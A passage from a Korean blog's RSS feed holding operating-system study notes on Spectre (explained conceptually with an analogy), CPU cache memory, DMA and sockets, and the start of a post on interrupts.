&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1216&quot; data-origin-height=&quot;723&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PgNqc/btsI0JgeGx8/L7CLrqCzh9YkDUrYsFX0P0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PgNqc/btsI0JgeGx8/L7CLrqCzh9YkDUrYsFX0P0/img.png&quot; data-alt=&quot;그림2 - 스펙터 간단 설명&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PgNqc/btsI0JgeGx8/L7CLrqCzh9YkDUrYsFX0P0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPgNqc%2FbtsI0JgeGx8%2FL7CLrqCzh9YkDUrYsFX0P0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1216&quot; height=&quot;723&quot; data-origin-width=&quot;1216&quot; data-origin-height=&quot;723&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 스펙터 간단 설명&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;유저 프로그램이 다른 유저 프로그램 메모리를 훔쳐보는 취약점&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;궁예의 '관심법' 과 유사하다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;가상환경 &amp;rarr; 1개의 H/W에 여러 VM이 작동할 가능성이 매우 높다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;가상환경에서는 VM 자체의 CPU가 연산하는 것이 아니고, 실제 H/W의 CPU가 연산한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;각각의 VM이 연산하면 실제 1개 H/W의 CPU의 캐시 메모리에 RAM에서 읽은 정보가 저장된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;VM-2가 특정 프로그램을 실행하여 RAM에서 정보를 읽어서 실제 H/W의 캐시 메모리에 정보가 저장된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;VM-0도 프로그램의 실행을 통해 연산한다. (캐싱이 일어나도록 RAM에서 정보를 지속적으로 읽어온다.)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;VM-0과 VM-2의 메모리 정보가 동일한 캐시 메모리에 저장된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;이 과정에서 VM-0 이 VM-2의 메모리의 정보를 읽어올 수 있다. (실제 동일한 H/W의 캐시 메모리에 존재하므로)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;AWS의 VM에서 나와 동일한 H/W에 VM이 올라와있는 누군가의 인증서를 확인할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스펙터 간단 비유&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;같은 학교에 2명의 교수가 있는데 A 교수는 연구를 열심히 하는 교수이며, B 교수는 연구를 하지 않는 교수이다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;B교수는 A교수의 연구 주제가 궁금하여 A교수의 조교가 어떤 책을 도서관에서 빌려오는지 확인한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;B교수는 A교수의 조교가 빌려온 책을 확인하여 A교수의 연구 주제를 확인할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://namu.wiki/w/CPU%20%EA%B2%8C%EC%9D%B4%ED%8A%B8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://namu.wiki/w/CPU%20%EA%B2%8C%EC%9D%B4%ED%8A%B8&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>CPU</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>멜트다운</category>
      <category>스펙터</category>
      <category>운영체제</category>
      <category>취약점</category>
      <category>캐시</category>
      <category>캐시 메모리</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/183</guid>
      <comments>https://it-log.tistory.com/183#entry183comment</comments>
      <pubDate>Thu, 22 Aug 2024 00:12:49 +0900</pubDate>
    </item>
    <item>
      <title>CPU와 캐시 메모리</title>
      <link>https://it-log.tistory.com/182</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;기억장치 종류와 역할&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;613&quot; data-origin-height=&quot;319&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bb2VH6/btsIYaMqfjW/bpndFA5TjskCpFkLqI8Uk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bb2VH6/btsIYaMqfjW/bpndFA5TjskCpFkLqI8Uk1/img.png&quot; data-alt=&quot;그림1 - 컴퓨터의 기억장치 종류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bb2VH6/btsIYaMqfjW/bpndFA5TjskCpFkLqI8Uk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbb2VH6%2FbtsIYaMqfjW%2FbpndFA5TjskCpFkLqI8Uk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;613&quot; height=&quot;319&quot; data-origin-width=&quot;613&quot; data-origin-height=&quot;319&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 컴퓨터의 기억장치 종류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU = 연산 장치, Core(코어)가 연산을 한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU 연산 속도 &amp;uarr; = 처리량 &amp;uarr; = 성능 &amp;uarr;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;클럭 속도 &amp;uarr; = Scale Up, 코어의 개수 &amp;uarr; = Scale Out,&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;RAM = 연산을 하는 데이터 저장&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;RAM은 CPU에 비해 속도가 느리므로 속도 차이를 극복하기 위해 중간에 Cache memory를 사용한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU가 연산을 하면서 Cache memory에 RAM에서 가져올 다음 정보를 예측하여 복사해온다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU: 교수, Cache memory: 조교, RAM: 도서관 &amp;rarr; 조교는 교수가 다음에 사용할 책을 예상하여 도서관에서 가져온다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;CPU도 당신처럼 예측하고 미리 움직인다&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2qqR0/btsIX7a3dJq/rMVyAUma03FmOw4ZMV3GfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2qqR0/btsIX7a3dJq/rMVyAUma03FmOw4ZMV3GfK/img.png&quot; data-alt=&quot;그림2 - CPU가 연산 시 데이터 요청 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2qqR0/btsIX7a3dJq/rMVyAUma03FmOw4ZMV3GfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2qqR0%2FbtsIX7a3dJq%2FrMVyAUma03FmOw4ZMV3GfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;828&quot; height=&quot;468&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - CPU가 연산 시 데이터 요청 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;코어가 명령 + 데이터를 L1 캐시에서 가져온다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;예측은 캐시 메모리에서 발생한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;0에서 99까지 숫자를 세는 연산을 하는 경우, 0,1,2, 순서로 연산하다 보면 캐시메모리가 RAM에서 나머지 97개를 예측하고 미리 데이터를 가져다 놓는다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;L1, L2, L3를 나눈 이유는 데이터 양으로 인한 차이때문에 나누었다.&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;데이터 양 = L1 &amp;lt; L2 &amp;lt; L3&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;L1 = 명령과 데이터가 구분되어 있음, L2 = 명령과 데이터가 섞여있음, L3 = 각 코어에 보낼 데이터가 전부 있다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;예측이 항상 정확하지는 않다. (90% 적중률)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Cache Hit &amp;rarr; 예측이 맞음, Cache Miss &amp;rarr; 예측이 빗나감, 예측이 빗나가면 RAM에서 직접 정보를 가져온다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;CPU가 연산 시 데이터 요청 과정&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;CPU가 캐시 메모리에 데이터 요청함 (RAM 메모리 주소 00에 있는 값을 가져오려하는데 혹시 있니?)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;캐시 메모리는 예측한 데이터를 RAM에서 가져옴, 그 데이터를 CPU에게 준다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;L1 캐시에 데이터 없는 경우 L2 캐시에서 확인, L2 캐시에도 없는 경우 L3에서 확인한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;L1, L2, L3 캐시 메모리에 데이터가 없는 경우 RAM에서 직접 가져온다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;CPU vs GPU 그리고 RAM&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU &amp;rarr; 코어 8 ~ 16개 = 직렬 구조(순차적 연산) = 복잡한 데이터 처리&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;GPU &amp;rarr; 코어 4000 ~ 10000개 = 병렬 연산 = 인공지능 연산&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;메모리에서 연산 기능까지? = 차세대 반도체 PIM &amp;rarr; 전처리&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;내일 요리(감자튀김)를 보고 재료(감자)를 미리 요리에 맞게 손질 &amp;rarr; 전처리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>Cache</category>
      <category>Cache memory</category>
      <category>CPU</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>hdd</category>
      <category>RAM</category>
      <category>운영체제</category>
      <category>캐시</category>
      <category>캐시 메모리</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/182</guid>
      <comments>https://it-log.tistory.com/182#entry182comment</comments>
      <pubDate>Wed, 21 Aug 2024 00:12:15 +0900</pubDate>
    </item>
    <item>
      <title>DMA와 고성능 소켓</title>
      <link>https://it-log.tistory.com/181</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;DMA 정보 전달 방식&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;기존 정보 전달 방식 = CPU &amp;rarr; RAM 영역 1 &amp;rarr; RAM 영역 2 &amp;rarr; Device 영역&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;DMA(Direct Memory Access) = 약속된 곳에 Direct로 데이터를 Write &amp;rarr; NIC에서 사용&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;DMA 사용한 정보 전달 방식 = CPU &amp;rarr; Device 영역&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;네트워크 상에서 정보 통신&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;629&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rSiCY/btsIWe9SyxG/GBr2k4oET3uRHHHRKlbCs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rSiCY/btsIWe9SyxG/GBr2k4oET3uRHHHRKlbCs1/img.png&quot; data-alt=&quot;그림1- 네트워크 상에서 정보 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rSiCY/btsIWe9SyxG/GBr2k4oET3uRHHHRKlbCs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrSiCY%2FbtsIWe9SyxG%2FGBr2k4oET3uRHHHRKlbCs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;848&quot; height=&quot;629&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;629&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1- 네트워크 상에서 정보 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;어떤 파일이 있고 그 파일은 커널의 구성요소를 추상화 한다. &amp;rarr; 인터페이스&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;그 파일에는 I/O Buffer가 있다.&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;각 영역에는 I/O Buffer가 존재, I/O Buffer는 일종의 데이터 저장소다. &amp;rarr; RAM 메모리 일부&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;TCP/IP 네트워크 통신에서 파일은 Socket이 된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;파일에 대해 Write 한다. = 소켓은 Send 한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;NIC은 DMA를 지원한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;DMA 사용 시 그림1과 같은 여러 단계를 거치지 않고 RAM에게 Direct로 정보를 전달한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU가 RAM을 사용하는데, RAM 영역 일부를 NIC에게 할당하여 사용하게 한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;NIC에서 정보 전달 시, 여러 영역을 거치지 않아도 Direct로 RAM에게 정보를 전달한다. &amp;rarr; 성능 향상&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;IOCP 이용 시 성능 향상 &amp;rarr; 운영체제가 I/O Buffer에 Lock을 걸어서(Kernel이 찜한다.) 정보를 Direct로 전달한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;DMA는 여러 단계를 거칠 필요 없이 데이터를 Direct로 전달해주는 역할을 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>DMA</category>
      <category>NIC</category>
      <category>소켓</category>
      <category>운영체제</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/181</guid>
      <comments>https://it-log.tistory.com/181#entry181comment</comments>
      <pubDate>Tue, 20 Aug 2024 00:12:24 +0900</pubDate>
    </item>
    <item>
      <title>인터럽트와 DirectX</title>
      <link>https://it-log.tistory.com/180</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;인터럽트란?&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;사전적 의미로는 '끼어들다', '중단시키다' 정도의 의미를 가진 말로 프로그램을 실행하는 도중에 예기치 않은 상황이 발생할 경우 현재 실행중인 작업을 중단하고 발생된 상황을 처리한 후 다시 실행중인 작업으로 복귀하는 것을 말한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;인터럽트의 종류&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;인터럽트의 종류는 외부 인터럽트, 내부 인터럽트, 소프트웨어 인터럽트로 나뉠 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;외부 인터럽트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;전원 이상 인터럽트(Power fall interrupt): 말 그대로 정전, 파워 이상 등&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;기계 착오 인터럽트(Machine check Interrupt): CPU의 기능적인 오류&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;외부 신호 인터럽트(External Interrupt)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 타이머에 의한 인터럽트: Preemptive 개념을 생각하면 된다. 자원이 할당된 시간이 다 끝난 경우&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 키보드로 인터럽트 키를 누른 경우: 대표적으로 Control + Alt + Delete (전원 끄기, 작업 관리자)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 외부장치로부터 인터럽트 요청이 있는 경우: I/O 인터럽트 아님!! 다른 개념이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;입출력 인터럽트(I/O Interrupt)&lt;/li&gt;
&lt;/ul&gt;
